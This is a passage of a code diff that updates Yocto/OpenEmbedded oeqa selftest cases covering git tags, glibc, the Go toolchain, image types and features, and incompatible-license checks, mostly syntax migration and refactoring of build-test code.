+ delete_fake_repository(path)
+
+ def test_get_tags_without_valid_remote(self):
+ url = 'git://git.yoctoproject.org/poky'
+ path, git_obj = create_fake_repository(False, None, False)
+
+ tags = ga.get_tags(git_obj, self.log, pattern="yocto-*", url=url)
+ """Test for some well established tags (released tags)"""
+ self.assertIn("yocto-4.0", tags)
+ self.assertIn("yocto-4.1", tags)
+ self.assertIn("yocto-4.2", tags)
+ delete_fake_repository(path)
+
+ def test_get_tags_with_only_local_tag(self):
+ fake_tags_list=["main/10-g0f7d5df/0", "main/10-g0f7d5df/1", "foo/20-g2468f5d/0"]
+ path, git_obj = create_fake_repository(True, fake_tags_list, False)
+
+ """No remote is configured and no url is passed: get_tags must fall
+ back to local tags
+ """
+ tags = ga.get_tags(git_obj, self.log)
+ self.assertCountEqual(tags, fake_tags_list)
+ delete_fake_repository(path)
+
+ def test_get_tags_without_valid_remote_and_wrong_url(self):
+ url = 'git://git.foo.org/bar'
+ path, git_obj = create_fake_repository(False, None, False)
+
+ """Test for some well established tags (released tags)"""
+ with self.assertRaises(GitError):
+ tags = ga.get_tags(git_obj, self.log, pattern="yocto-*", url=url)
+ delete_fake_repository(path)
diff --git a/meta/lib/oeqa/selftest/cases/glibc.py b/meta/lib/oeqa/selftest/cases/glibc.py
index c687f6ef93..bd56b2f6e7 100644
--- a/meta/lib/oeqa/selftest/cases/glibc.py
+++ b/meta/lib/oeqa/selftest/cases/glibc.py
@@ -1,10 +1,15 @@
+#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
+#
import os
+import time
import contextlib
from oeqa.core.decorator import OETestTag
from oeqa.core.case import OEPTestResultTestCase
from oeqa.selftest.case import OESelftestTestCase
-from oeqa.utils.commands import bitbake, get_bb_var, get_bb_vars, runqemu, Command
+from oeqa.utils.commands import bitbake, get_bb_var, runqemu
from oeqa.utils.nfs import unfs_server
def parse_values(content):
@@ -24,16 +29,20 @@ class GlibcSelfTestBase(OESelftestTestCase, OEPTestResultTestCase):
features.append('TOOLCHAIN_TEST_HOST_USER = "root"')
features.append('TOOLCHAIN_TEST_HOST_PORT = "22"')
# force single threaded test execution
- features.append('EGLIBCPARALLELISM_task-check_pn-glibc-testsuite = "PARALLELMFLAGS="-j1""')
+ features.append('EGLIBCPARALLELISM:task-check:pn-glibc-testsuite = "PARALLELMFLAGS="-j1""')
self.write_config("\n".join(features))
+ start_time = time.time()
+
bitbake("glibc-testsuite -c check")
+ end_time = time.time()
+
builddir = get_bb_var("B", "glibc-testsuite")
ptestsuite = "glibc-user" if ssh is None else "glibc"
- self.ptest_section(ptestsuite)
- with open(os.path.join(builddir, "tests.sum"), "r") as f:
+ self.ptest_section(ptestsuite, duration = int(end_time - start_time))
+ with open(os.path.join(builddir, "tests.sum"), "r", errors='replace') as f:
for test, result in parse_values(f):
self.ptest_result(ptestsuite, test, result)
@@ -41,7 +50,7 @@ class GlibcSelfTestBase(OESelftestTestCase, OEPTestResultTestCase):
with contextlib.ExitStack() as s:
# use the base work dir, as the nfs mount, since the recipe directory may not exist
tmpdir = get_bb_var("BASE_WORKDIR")
- nfsport, mountport = s.enter_context(unfs_server(tmpdir))
+ nfsport, mountport = s.enter_context(unfs_server(tmpdir, udp = False))
# build core-image-minimal with required packages
default_installed_packages = [
@@ -61,7 +70,7 @@ class GlibcSelfTestBase(OESelftestTestCase, OEPTestResultTestCase):
bitbake("core-image-minimal")
# start runqemu
- qemu = s.enter_context(runqemu("core-image-minimal", runqemuparams = "nographic"))
+ qemu = s.enter_context(runqemu("core-image-minimal", runqemuparams = "nographic", qemuparams = "-m 1024"))
# validate that SSH is working
status, _ = qemu.run("uname")
@@ -70,7 +79,7 @@ class GlibcSelfTestBase(OESelftestTestCase, OEPTestResultTestCase):
# setup nfs mount
if qemu.run("mkdir -p \"{0}\"".format(tmpdir))[0] != 0:
raise Exception("Failed to setup NFS mount directory on target")
- mountcmd = "mount -o noac,nfsvers=3,port={0},udp,mountport={1} \"{2}:{3}\" \"{3}\"".format(nfsport, mountport, qemu.server_ip, tmpdir)
+ mountcmd = "mount -o noac,nfsvers=3,port={0},mountport={1} \"{2}:{3}\" \"{3}\"".format(nfsport, mountport, qemu.server_ip, tmpdir)
status, output = qemu.run(mountcmd)
if status != 0:
raise Exception("Failed to setup NFS mount on target ({})".format(repr(output)))
@@ -83,6 +92,7 @@ class GlibcSelfTest(GlibcSelfTestBase):
self.run_check()
@OETestTag("toolchain-system")
+@OETestTag("runqemu")
class GlibcSelfTestSystemEmulated(GlibcSelfTestBase):
def test_glibc(self):
self.run_check_emulated()
diff --git a/meta/lib/oeqa/selftest/cases/gotoolchain.py b/meta/lib/oeqa/selftest/cases/gotoolchain.py
index 3119520f0d..ee2cf4b09a 100644
--- a/meta/lib/oeqa/selftest/cases/gotoolchain.py
+++ b/meta/lib/oeqa/selftest/cases/gotoolchain.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -46,26 +48,28 @@ class oeGoToolchainSelfTest(OESelftestTestCase):
shutil.rmtree(cls.tmpdir_SDKQA, ignore_errors=True)
super(oeGoToolchainSelfTest, cls).tearDownClass()
- def run_sdk_go_command(self, gocmd):
- cmd = "cd %s; " % self.tmpdir_SDKQA
+ def run_sdk_go_command(self, gocmd, proj, name):
+ cmd = "cd %s/src/%s/%s; " % (self.go_path, proj, name)
cmd = cmd + ". %s; " % self.env_SDK
cmd = cmd + "export GOPATH=%s; " % self.go_path
+ cmd = cmd + "export GOFLAGS=-modcacherw; "
+ cmd = cmd + "export CGO_ENABLED=1; "
+ cmd = cmd + "export GOPROXY=https://proxy.golang.org,direct; "
cmd = cmd + "${CROSS_COMPILE}go %s" % gocmd
return runCmd(cmd).status
def test_go_dep_build(self):
- proj = "github.com/golang"
- name = "dep"
- ver = "v0.3.1"
+ proj = "github.com/direnv"
+ name = "direnv"
+ ver = "v2.27.0"
archive = ".tar.gz"
url = "https://%s/%s/archive/%s%s" % (proj, name, ver, archive)
runCmd("cd %s; wget %s" % (self.tmpdir_SDKQA, url))
runCmd("cd %s; tar -xf %s" % (self.tmpdir_SDKQA, ver+archive))
runCmd("mkdir -p %s/src/%s" % (self.go_path, proj))
- runCmd("mv %s/dep-0.3.1 %s/src/%s/%s"
+ runCmd("mv %s/direnv-2.27.0 %s/src/%s/%s"
% (self.tmpdir_SDKQA, self.go_path, proj, name))
- retv = self.run_sdk_go_command('build %s/%s/cmd/dep'
- % (proj, name))
+ retv = self.run_sdk_go_command('build', proj, name)
self.assertEqual(retv, 0,
msg="Running go build failed for %s" % name)
diff --git a/meta/lib/oeqa/selftest/cases/image_typedep.py b/meta/lib/oeqa/selftest/cases/image_typedep.py
index 52e1080f13..17c98baf14 100644
--- a/meta/lib/oeqa/selftest/cases/image_typedep.py
+++ b/meta/lib/oeqa/selftest/cases/image_typedep.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -9,7 +11,7 @@ from oeqa.utils.commands import bitbake
class ImageTypeDepTests(OESelftestTestCase):
- # Verify that when specifying a IMAGE_TYPEDEP_ of the form "foo.bar" that
+ # Verify that when specifying a IMAGE_TYPEDEP: of the form "foo.bar" that
# the conversion type bar gets added as a dep as well
def test_conversion_typedep_added(self):
@@ -22,7 +24,7 @@ LICENSE = "MIT"
IMAGE_FSTYPES = "testfstype"
IMAGE_TYPES_MASKED += "testfstype"
-IMAGE_TYPEDEP_testfstype = "tar.bz2"
+IMAGE_TYPEDEP:testfstype = "tar.bz2"
inherit image
diff --git a/meta/lib/oeqa/selftest/cases/imagefeatures.py b/meta/lib/oeqa/selftest/cases/imagefeatures.py
index f7a2533746..dc88c222bd 100644
--- a/meta/lib/oeqa/selftest/cases/imagefeatures.py
+++ b/meta/lib/oeqa/selftest/cases/imagefeatures.py
@@ -1,10 +1,14 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
from oeqa.selftest.case import OESelftestTestCase
-from oeqa.utils.commands import runCmd, bitbake, get_bb_var, runqemu
+from oeqa.core.decorator import OETestTag
+from oeqa.utils.commands import runCmd, bitbake, get_bb_var, get_bb_vars, runqemu
from oeqa.utils.sshcontrol import SSHControl
+import glob
import os
import json
@@ -13,6 +17,7 @@ class ImageFeatures(OESelftestTestCase):
test_user = 'tester'
root_user = 'root'
+ @OETestTag("runqemu")
def test_non_root_user_can_connect_via_ssh_without_password(self):
"""
Summary: Check if non root user can connect via ssh without password
@@ -38,6 +43,7 @@ class ImageFeatures(OESelftestTestCase):
status, output = ssh.run("true")
self.assertEqual(status, 0, 'ssh to user %s failed with %s' % (user, output))
+ @OETestTag("runqemu")
def test_all_users_can_connect_via_ssh_without_password(self):
"""
Summary: Check if all users can connect via ssh without password
@@ -67,18 +73,6 @@ class ImageFeatures(OESelftestTestCase):
self.assertEqual(status, 0, 'ssh to user tester failed with %s' % output)
- def test_clutter_image_can_be_built(self):
- """
- Summary: Check if clutter image can be built
- Expected: 1. core-image-clutter can be built
- Product: oe-core
- Author: Ionut Chisanovici <ionutx.chisanovici@intel.com>
- AutomatedBy: Daniel Istrate <daniel.alexandrux.istrate@intel.com>
- """
-
- # Build a core-image-clutter
- bitbake('core-image-clutter')
-
def test_wayland_support_in_image(self):
"""
Summary: Check Wayland support in image
@@ -108,12 +102,11 @@ class ImageFeatures(OESelftestTestCase):
features = 'IMAGE_FSTYPES += " ext4 ext4.bmap ext4.bmap.gz"'
self.write_config(features)
- image_name = 'core-image-minimal'
- bitbake(image_name)
+ image = 'core-image-minimal'
+ bitbake(image)
+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'IMAGE_LINK_NAME'], image)
- deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
- link_name = get_bb_var('IMAGE_LINK_NAME', image_name)
- image_path = os.path.join(deploy_dir_image, "%s.ext4" % link_name)
+ image_path = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'], "%s.ext4" % bb_vars['IMAGE_LINK_NAME'])
bmap_path = "%s.bmap" % image_path
gzip_path = "%s.gz" % bmap_path
@@ -126,8 +119,8 @@ class ImageFeatures(OESelftestTestCase):
image_stat = os.stat(image_path)
self.assertGreater(image_stat.st_size, image_stat.st_blocks * 512)
- # check if the resulting gzip is valid
- self.assertTrue(runCmd('gzip -t %s' % gzip_path))
+ # check if the resulting gzip is valid, --force is needed in case gzip_path is a symlink
+ self.assertTrue(runCmd('gzip --test --force %s' % gzip_path))
def test_hypervisor_fmts(self):
"""
@@ -142,17 +135,16 @@ class ImageFeatures(OESelftestTestCase):
img_types = [ 'vmdk', 'vdi', 'qcow2' ]
features = ""
for itype in img_types:
- features += 'IMAGE_FSTYPES += "wic.%s"\n' % itype
+ features += 'IMAGE_FSTYPES += "ext4.%s"\n' % itype
self.write_config(features)
- image_name = 'core-image-minimal'
- bitbake(image_name)
+ image = 'core-image-minimal'
+ bitbake(image)
+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'IMAGE_LINK_NAME'], image)
- deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
- link_name = get_bb_var('IMAGE_LINK_NAME', image_name)
for itype in img_types:
- image_path = os.path.join(deploy_dir_image, "%s.wic.%s" %
- (link_name, itype))
+ image_path = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'], "%s.ext4.%s" %
+ (bb_vars['IMAGE_LINK_NAME'], itype))
# check if result image file is in deploy directory
self.assertTrue(os.path.exists(image_path))
@@ -172,24 +164,22 @@ class ImageFeatures(OESelftestTestCase):
"""
Summary: Check for chaining many CONVERSION_CMDs together
Expected: 1. core-image-minimal can be built with
- ext4.bmap.gz.bz2.lzo.xz.u-boot and also create a
+ ext4.bmap.gz.bz2.zst.xz.u-boot and also create a
sha256sum
2. The above image has a valid sha256sum
Product: oe-core
Author: Tom Rini <trini@konsulko.com>
"""
- conv = "ext4.bmap.gz.bz2.lzo.xz.u-boot"
+ conv = "ext4.bmap.gz.bz2.zst.xz.u-boot"
features = 'IMAGE_FSTYPES += "%s %s.sha256sum"' % (conv, conv)
self.write_config(features)
- image_name = 'core-image-minimal'
- bitbake(image_name)
-
- deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
- link_name = get_bb_var('IMAGE_LINK_NAME', image_name)
- image_path = os.path.join(deploy_dir_image, "%s.%s" %
- (link_name, conv))
+ image = 'core-image-minimal'
+ bitbake(image)
+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'IMAGE_LINK_NAME'], image)
+ image_path = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'], "%s.%s" %
+ (bb_vars['IMAGE_LINK_NAME'], conv))
# check if resulting image is in the deploy directory
self.assertTrue(os.path.exists(image_path))
@@ -197,7 +187,7 @@ class ImageFeatures(OESelftestTestCase):
# check if the resulting sha256sum agrees
self.assertTrue(runCmd('cd %s;sha256sum -c %s.%s.sha256sum' %
- (deploy_dir_image, link_name, conv)))
+ (bb_vars['DEPLOY_DIR_IMAGE'], bb_vars['IMAGE_LINK_NAME'], conv)))
def test_image_fstypes(self):
"""
@@ -206,26 +196,43 @@ class ImageFeatures(OESelftestTestCase):
Product: oe-core
Author: Ed Bartosh <ed.bartosh@linux.intel.com>
"""
- image_name = 'core-image-minimal'
+ image = 'core-image-minimal'
- all_image_types = set(get_bb_var("IMAGE_TYPES", image_name).split())
- blacklist = set(('container', 'elf', 'f2fs', 'multiubi', 'tar.zst', 'wic.zst'))
- img_types = all_image_types - blacklist
+ all_image_types = set(get_bb_var("IMAGE_TYPES", image).split())
+ skip_image_types = set(('container', 'elf', 'f2fs', 'tar.zst', 'wic.zst', 'squashfs-lzo', 'vfat'))
+ img_types = all_image_types - skip_image_types
- config = 'IMAGE_FSTYPES += "%s"\n'\
- 'MKUBIFS_ARGS ?= "-m 2048 -e 129024 -c 2047"\n'\
- 'UBINIZE_ARGS ?= "-m 2048 -p 128KiB -s 512"' % ' '.join(img_types)
+ config = """
+IMAGE_FSTYPES += "%s"
+WKS_FILE = "wictestdisk.wks"
+MKUBIFS_ARGS ?= "-m 2048 -e 129024 -c 2047"
+UBINIZE_ARGS ?= "-m 2048 -p 128KiB -s 512"
+MULTIUBI_BUILD += "mtd_2_128"
+MKUBIFS_ARGS_mtd_2_128 ?= "-m 2048 -e 129024 -c 2047"
+UBINIZE_ARGS_mtd_2_128 ?= "-m 2048 -p 128KiB -s 512"
+MULTIUBI_BUILD += "mtd_4_256"
+MKUBIFS_ARGS_mtd_4_256 ?= "-m 4096 -e 253952 -c 4096"
+UBINIZE_ARGS_mtd_4_256 ?= "-m 4096 -p 256KiB"
+""" % ' '.join(img_types)
self.write_config(config)
- bitbake(image_name)
+ bitbake(image)
+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'IMAGE_LINK_NAME', 'MULTIUBI_BUILD'], image)
- deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
- link_name = get_bb_var('IMAGE_LINK_NAME', image_name)
for itype in img_types:
- image_path = os.path.join(deploy_dir_image, "%s.%s" % (link_name, itype))
- # check if result image is in deploy directory
- self.assertTrue(os.path.exists(image_path),
- "%s image %s doesn't exist" % (itype, image_path))
+ if itype == 'multiubi':
+ # For multiubi build we need to manage MULTIUBI_BUILD entry to append
+ # specific name to IMAGE_LINK_NAME
+ for vname in bb_vars['MULTIUBI_BUILD'].split():
+ image_path = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'], "%s_%s.ubifs" % (bb_vars['IMAGE_LINK_NAME'], vname))
+ # check if result image is in deploy directory
+ self.assertTrue(os.path.exists(image_path),
+ "%s image %s doesn't exist" % (itype, image_path))
+ else:
+ image_path = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'], "%s.%s" % (bb_vars['IMAGE_LINK_NAME'], itype))
+ # check if result image is in deploy directory
+ self.assertTrue(os.path.exists(image_path),
+ "%s image %s doesn't exist" % (itype, image_path))
def test_useradd_static(self):
config = """
@@ -239,11 +246,11 @@ USERADD_GID_TABLES += "files/static-group"
def test_no_busybox_base_utils(self):
config = """
-# Enable x11
-DISTRO_FEATURES_append += "x11"
+# Enable wayland
+DISTRO_FEATURES:append = " pam opengl wayland"
# Switch to systemd
-DISTRO_FEATURES += "systemd"
+DISTRO_FEATURES:append = " systemd usrmerge"
VIRTUAL-RUNTIME_init_manager = "systemd"
VIRTUAL-RUNTIME_initscripts = ""
VIRTUAL-RUNTIME_syslog = ""
@@ -256,86 +263,12 @@ VIRTUAL-RUNTIME_base-utils = "packagegroup-core-base-utils"
VIRTUAL-RUNTIME_base-utils-hwclock = "util-linux-hwclock"
VIRTUAL-RUNTIME_base-utils-syslog = ""
-# Blacklist busybox
-PNBLACKLIST[busybox] = "Don't build this"
+# Skip busybox
+SKIP_RECIPE[busybox] = "Don't build this"
"""
self.write_config(config)
- bitbake("--graphviz core-image-sato")
-
- def test_fit_image(self):
- """
- Summary: Check if FIT image and Image Tree Source (its) are built
- and the Image Tree Source has the correct fields.
- Expected: 1. fitImage and fitImage-its can be built
- 2. The type, load address, entrypoint address and
- default values of kernel and ramdisk are as expected
- in the Image Tree Source. Not all the fields are tested,
- only the key fields that wont vary between different
- architectures.
- Product: oe-core
- Author: Usama Arif <usama.arif@arm.com>
- """
- config = """
-# Enable creation of fitImage
-KERNEL_IMAGETYPE = "Image"
-KERNEL_IMAGETYPES += " fitImage "
-KERNEL_CLASSES = " kernel-fitimage "
-
-# RAM disk variables including load address and entrypoint for kernel and RAM disk
-IMAGE_FSTYPES += "cpio.gz"
-INITRAMFS_IMAGE = "core-image-minimal"
-UBOOT_RD_LOADADDRESS = "0x88000000"
-UBOOT_RD_ENTRYPOINT = "0x88000000"
-UBOOT_LOADADDRESS = "0x80080000"
-UBOOT_ENTRYPOINT = "0x80080000"
-"""
- self.write_config(config)
-
- # fitImage is created as part of linux recipe
- bitbake("virtual/kernel")
-
- image_type = "core-image-minimal"
- deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
- machine = get_bb_var('MACHINE')
- fitimage_its_path = os.path.join(deploy_dir_image,
- "fitImage-its-%s-%s-%s" % (image_type, machine, machine))
- fitimage_path = os.path.join(deploy_dir_image,
- "fitImage-%s-%s-%s" % (image_type, machine, machine))
-
- self.assertTrue(os.path.exists(fitimage_its_path),
- "%s image tree source doesn't exist" % (fitimage_its_path))
- self.assertTrue(os.path.exists(fitimage_path),
- "%s FIT image doesn't exist" % (fitimage_path))
-
- # Check that the type, load address, entrypoint address and default
- # values for kernel and ramdisk in Image Tree Source are as expected.
- # The order of fields in the below array is important. Not all the
- # fields are tested, only the key fields that wont vary between
- # different architectures.
- its_field_check = ['type = "kernel";',
- 'load = <0x80080000>;',
- 'entry = <0x80080000>;',
- 'type = "ramdisk";',
- 'load = <0x88000000>;',
- 'entry = <0x88000000>;',
- 'default = "conf@1";',
- 'kernel = "kernel@1";',
- 'ramdisk = "ramdisk@1";'
- ]
-
- with open(fitimage_its_path) as its_file:
- field_index = 0
- for line in its_file:
- if field_index == len(its_field_check):
- break
- if its_field_check[field_index] in line:
- field_index +=1
-
- if field_index != len(its_field_check): # if its equal, the test passed
- self.assertTrue(field_index == len(its_field_check),
- "Fields in Image Tree Source File %s did not match, error in finding %s"
- % (fitimage_its_path, its_field_check[field_index]))
+ bitbake("--graphviz core-image-weston")
def test_image_gen_debugfs(self):
"""
@@ -347,24 +280,57 @@ UBOOT_ENTRYPOINT = "0x80080000"
Author: Humberto Ibarra <humberto.ibarra.lopez@intel.com>
Yeoh Ee Peng <ee.peng.yeoh@intel.com>
"""
- import glob
- image_name = 'core-image-minimal'
+
+ image = 'core-image-minimal'
+ image_fstypes_debugfs = 'tar.bz2'
features = 'IMAGE_GEN_DEBUGFS = "1"\n'
- features += 'IMAGE_FSTYPES_DEBUGFS = "tar.bz2"\n'
- features += 'MACHINE = "genericx86-64"\n'
+ features += 'IMAGE_FSTYPES_DEBUGFS = "%s"\n' % image_fstypes_debugfs
self.write_config(features)
- bitbake(image_name)
- deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
- dbg_tar_file = os.path.join(deploy_dir_image, "*-dbg.rootfs.tar.bz2")
- debug_files = glob.glob(dbg_tar_file)
- self.assertNotEqual(len(debug_files), 0, 'debug filesystem not generated at %s' % dbg_tar_file)
- result = runCmd('cd %s; tar xvf %s' % (deploy_dir_image, dbg_tar_file))
+ bitbake(image)
+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'IMAGE_LINK_NAME'], image)
+
+ dbg_tar_file = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'], "%s-dbg.%s" % (bb_vars['IMAGE_LINK_NAME'], image_fstypes_debugfs))
+ self.assertTrue(os.path.exists(dbg_tar_file), 'debug filesystem not generated at %s' % dbg_tar_file)
+ result = runCmd('cd %s; tar xvf %s' % (bb_vars['DEPLOY_DIR_IMAGE'], dbg_tar_file))
self.assertEqual(result.status, 0, msg='Failed to extract %s: %s' % (dbg_tar_file, result.output))
- result = runCmd('find %s -name %s' % (deploy_dir_image, "udevadm"))
+ result = runCmd('find %s -name %s' % (bb_vars['DEPLOY_DIR_IMAGE'], "udevadm"))
self.assertTrue("udevadm" in result.output, msg='Failed to find udevadm: %s' % result.output)
dbg_symbols_targets = result.output.splitlines()
self.assertTrue(dbg_symbols_targets, msg='Failed to split udevadm: %s' % dbg_symbols_targets)
for t in dbg_symbols_targets:
result = runCmd('objdump --syms %s | grep debug' % t)
self.assertTrue("debug" in result.output, msg='Failed to find debug symbol: %s' % result.output)
+
+ def test_empty_image(self):
+ """Test creation of image with no packages"""
+ image = 'test-empty-image'
+ bitbake(image)
+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'IMAGE_LINK_NAME'], image)
+ manifest = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'], "%s.manifest" % bb_vars['IMAGE_LINK_NAME'])
+ self.assertTrue(os.path.exists(manifest))
+
+ with open(manifest, "r") as f:
+ self.assertEqual(len(f.read().strip()),0)
+
+ def test_mandb(self):
+ """
+ Test that an image containing manpages has working man and apropos commands.
+ """
+ config = """
+DISTRO_FEATURES:append = " api-documentation"
+CORE_IMAGE_EXTRA_INSTALL = "man-pages kmod-doc"
+"""
+ self.write_config(config)
+ bitbake("core-image-minimal")
+
+ with runqemu('core-image-minimal', ssh=False, runqemuparams='nographic') as qemu:
+ # This manpage is provided by man-pages
+ status, output = qemu.run_serial("apropos 8859")
+ self.assertEqual(status, 1, 'Failed to run apropos: %s' % (output))
+ self.assertIn("iso_8859_15", output)
+
+ # This manpage is provided by kmod
+ status, output = qemu.run_serial("man --pager=cat modprobe")
+ self.assertEqual(status, 1, 'Failed to run man: %s' % (output))
+ self.assertIn("force-modversion", output)
diff --git a/meta/lib/oeqa/selftest/cases/incompatible_lic.py b/meta/lib/oeqa/selftest/cases/incompatible_lic.py
index 3eabd79097..f4af67a239 100644
--- a/meta/lib/oeqa/selftest/cases/incompatible_lic.py
+++ b/meta/lib/oeqa/selftest/cases/incompatible_lic.py
@@ -1,10 +1,16 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
from oeqa.selftest.case import OESelftestTestCase
from oeqa.utils.commands import bitbake
-class IncompatibleLicenseTests(OESelftestTestCase):
+class IncompatibleLicenseTestObsolete(OESelftestTestCase):
- def lic_test(self, pn, pn_lic, lic):
- error_msg = 'ERROR: Nothing PROVIDES \'%s\'\n%s was skipped: it has incompatible license(s): %s' % (pn, pn, pn_lic)
+ def lic_test(self, pn, pn_lic, lic, error_msg=None):
+ if not error_msg:
+ error_msg = 'ERROR: Nothing PROVIDES \'%s\'\n%s was skipped: it has incompatible license(s): %s' % (pn, pn, pn_lic)
self.write_config("INCOMPATIBLE_LICENSE += \"%s\"" % (lic))
@@ -12,72 +18,81 @@ class IncompatibleLicenseTests(OESelftestTestCase):
if error_msg not in result.output:
raise AssertionError(result.output)
- # Verify that a package with an SPDX license (from AVAILABLE_LICENSES)
- # cannot be built when INCOMPATIBLE_LICENSE contains this SPDX license
- def test_incompatible_spdx_license(self):
- self.lic_test('incompatible-license', 'GPL-3.0', 'GPL-3.0')
-
- # Verify that a package with an SPDX license (from AVAILABLE_LICENSES)
- # cannot be built when INCOMPATIBLE_LICENSE contains an alias (in
- # SPDXLICENSEMAP) of this SPDX license
+ # Verify that a package with an SPDX license cannot be built when
+ # INCOMPATIBLE_LICENSE contains an alias (in SPDXLICENSEMAP) of this SPDX
+ # license
def test_incompatible_alias_spdx_license(self):
- self.lic_test('incompatible-license', 'GPL-3.0', 'GPLv3')
-
- # Verify that a package with an SPDX license (from AVAILABLE_LICENSES)
- # cannot be built when INCOMPATIBLE_LICENSE contains a wildcarded license
- # matching this SPDX license
- def test_incompatible_spdx_license_wildcard(self):
- self.lic_test('incompatible-license', 'GPL-3.0', '*GPL-3.0')
+ self.lic_test('incompatible-license', 'GPL-3.0-only', 'GPLv3', "is an obsolete license, please use an SPDX reference in INCOMPATIBLE_LICENSE")
- # Verify that a package with an SPDX license (from AVAILABLE_LICENSES)
- # cannot be built when INCOMPATIBLE_LICENSE contains a wildcarded alias
- # license matching this SPDX license
+ # Verify that a package with an SPDX license cannot be built when
+ # INCOMPATIBLE_LICENSE contains a wildcarded alias license matching this
+ # SPDX license
def test_incompatible_alias_spdx_license_wildcard(self):
- self.lic_test('incompatible-license', 'GPL-3.0', '*GPLv3')
-
- # Verify that a package with an alias (from SPDXLICENSEMAP) to an SPDX
- # license cannot be built when INCOMPATIBLE_LICENSE contains this SPDX
- # license
- def test_incompatible_spdx_license_alias(self):
- self.lic_test('incompatible-license-alias', 'GPL-3.0', 'GPL-3.0')
+ self.lic_test('incompatible-license', 'GPL-3.0-only', '*GPLv3', "*GPLv3 is an invalid license wildcard entry")
# Verify that a package with an alias (from SPDXLICENSEMAP) to an SPDX
# license cannot be built when INCOMPATIBLE_LICENSE contains this alias
def test_incompatible_alias_spdx_license_alias(self):
- self.lic_test('incompatible-license-alias', 'GPL-3.0', 'GPLv3')
+ self.lic_test('incompatible-license-alias', 'GPL-3.0-only', 'GPLv3', "is an obsolete license, please use an SPDX reference in INCOMPATIBLE_LICENSE")
# Verify that a package with an alias (from SPDXLICENSEMAP) to an SPDX
# license cannot be built when INCOMPATIBLE_LICENSE contains a wildcarded
# license matching this SPDX license
def test_incompatible_spdx_license_alias_wildcard(self):
- self.lic_test('incompatible-license-alias', 'GPL-3.0', '*GPL-3.0')
+ self.lic_test('incompatible-license-alias', 'GPL-3.0-only', '*GPL-3.0', "*GPL-3.0 is an invalid license wildcard entry")
# Verify that a package with an alias (from SPDXLICENSEMAP) to an SPDX
# license cannot be built when INCOMPATIBLE_LICENSE contains a wildcarded
# alias license matching the SPDX license
def test_incompatible_alias_spdx_license_alias_wildcard(self):
- self.lic_test('incompatible-license-alias', 'GPL-3.0', '*GPLv3')
+ self.lic_test('incompatible-license-alias', 'GPL-3.0-only', '*GPLv3', "*GPLv3 is an invalid license wildcard entry")
- # Verify that a package with multiple SPDX licenses (from
- # AVAILABLE_LICENSES) cannot be built when INCOMPATIBLE_LICENSE contains
- # some of them
- def test_incompatible_spdx_licenses(self):
- self.lic_test('incompatible-licenses', 'GPL-3.0 LGPL-3.0', 'GPL-3.0 LGPL-3.0')
- # Verify that a package with multiple SPDX licenses (from
- # AVAILABLE_LICENSES) cannot be built when INCOMPATIBLE_LICENSE contains a
- # wildcard to some of them
+ # Verify that a package with multiple SPDX licenses cannot be built when
+ # INCOMPATIBLE_LICENSE contains a wildcard to some of them
def test_incompatible_spdx_licenses_wildcard(self):
- self.lic_test('incompatible-licenses', 'GPL-3.0 LGPL-3.0', '*GPL-3.0')
+ self.lic_test('incompatible-licenses', 'GPL-3.0-only LGPL-3.0-only', '*GPL-3.0-only', "*GPL-3.0-only is an invalid license wildcard entry")
- # Verify that a package with multiple SPDX licenses (from
- # AVAILABLE_LICENSES) cannot be built when INCOMPATIBLE_LICENSE contains a
- # wildcard matching all licenses
+
+ # Verify that a package with multiple SPDX licenses cannot be built when
+ # INCOMPATIBLE_LICENSE contains a wildcard matching all licenses
def test_incompatible_all_licenses_wildcard(self):
- self.lic_test('incompatible-licenses', 'GPL-2.0 GPL-3.0 LGPL-3.0', '*')
+ self.lic_test('incompatible-licenses', 'GPL-2.0-only GPL-3.0-only LGPL-3.0-only', '*', "* is an invalid license wildcard entry")
+
+class IncompatibleLicenseTests(OESelftestTestCase):
+
+ def lic_test(self, pn, pn_lic, lic):
+ error_msg = 'ERROR: Nothing PROVIDES \'%s\'\n%s was skipped: it has incompatible license(s): %s' % (pn, pn, pn_lic)
+
+ self.write_config("INCOMPATIBLE_LICENSE += \"%s\"" % (lic))
+
+ result = bitbake('%s --dry-run' % (pn), ignore_status=True)
+ if error_msg not in result.output:
+ raise AssertionError(result.output)
+
+ # Verify that a package with an SPDX license cannot be built when
+ # INCOMPATIBLE_LICENSE contains this SPDX license
+ def test_incompatible_spdx_license(self):
+ self.lic_test('incompatible-license', 'GPL-3.0-only', 'GPL-3.0-only')
+
+ # Verify that a package with an SPDX license cannot be built when
+ # INCOMPATIBLE_LICENSE contains a wildcarded license matching this SPDX
+ # license
+ def test_incompatible_spdx_license_wildcard(self):
+ self.lic_test('incompatible-license', 'GPL-3.0-only', 'GPL-3.0*')
+
+ # Verify that a package with an alias (from SPDXLICENSEMAP) to an SPDX
+ # license cannot be built when INCOMPATIBLE_LICENSE contains this SPDX
+ # license
+ def test_incompatible_spdx_license_alias(self):
+ self.lic_test('incompatible-license-alias', 'GPL-3.0-only', 'GPL-3.0-only')
